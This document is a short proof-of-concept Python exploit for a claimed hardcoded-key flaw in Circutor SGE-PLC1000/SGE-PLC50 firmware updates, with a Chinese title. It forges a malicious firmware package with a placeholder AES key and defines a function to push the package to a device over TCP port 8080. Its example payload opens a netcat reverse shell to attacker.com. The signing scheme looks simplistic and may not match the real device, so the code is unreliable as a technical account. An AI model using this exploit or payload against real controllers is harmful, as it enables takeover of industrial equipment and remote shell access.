CVE-2025-11781: Circutor SGE-PLC1000/SGE-PLC50 硬编码密钥漏洞

#!/usr/bin/env python3 """ CVE-2025-11781 PoC - Circutor SGE-PLC1000/SGE-PLC50 Hardcoded Key Extraction This PoC demonstrates the vulnerability in firmware update authentication. Note: This is for educational and authorized testing purposes only. """ import hashlib import struct from Crypto.Cipher import AES from Crypto.Util.Padding import pad # Simulated hardcoded key extracted from firmware (for demonstration) HARDCODED_KEY = bytes.fromhex('0123456789ABCDEF0123456789ABCDEF') def create_malicious_firmware_update(target_ip, payload): """ Create a malicious firmware update package using extracted hardcoded key. Args: target_ip: Target device IP address payload: Malicious payload to execute Returns: bytes: Malicious firmware update package """ # Construct firmware header header = b'SGE_UPDATE' version = b'9.0.2' # Create firmware content with malicious payload firmware_content = pad(payload.encode(), 16) # Generate signature using hardcoded key (vulnerability) cipher = AES.new(HARDCODED_KEY, AES.MODE_ECB) signature = cipher.encrypt(firmware_content) # Construct update package update_package = ( header + version + struct.pack('<I', len(firmware_content)) + firmware_content + signature ) return update_package def send_firmware_update(target_ip, update_package): """ Send malicious firmware update to target device. Args: target_ip: Target device IP address update_package: Malicious update package Note: Requires valid network access to device """ import socket try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, 8080)) sock.send(update_package) response = sock.recv(1024) sock.close() return response except Exception as e: print(f"Error sending update: {e}") return None if __name__ == '__main__': print("CVE-2025-11781 PoC - Circutor SGE-PLC Hardcoded Key Vulnerability") print("=" * 60) print("WARNING: This tool is for authorized security testing only.") print() # Example usage target = "192.168.1.100" malicious_payload = "reboot; nc -e /bin/bash attacker.com 4444" print(f"Target: {target}") print(f"Payload: {malicious_payload}") print() # Generate malicious update update = create_malicious_firmware_update(target, malicious_payload) print(f"Generated malicious update package: {len(update)} bytes") print(f"SHA256: {hashlib.sha256(update).hexdigest()}")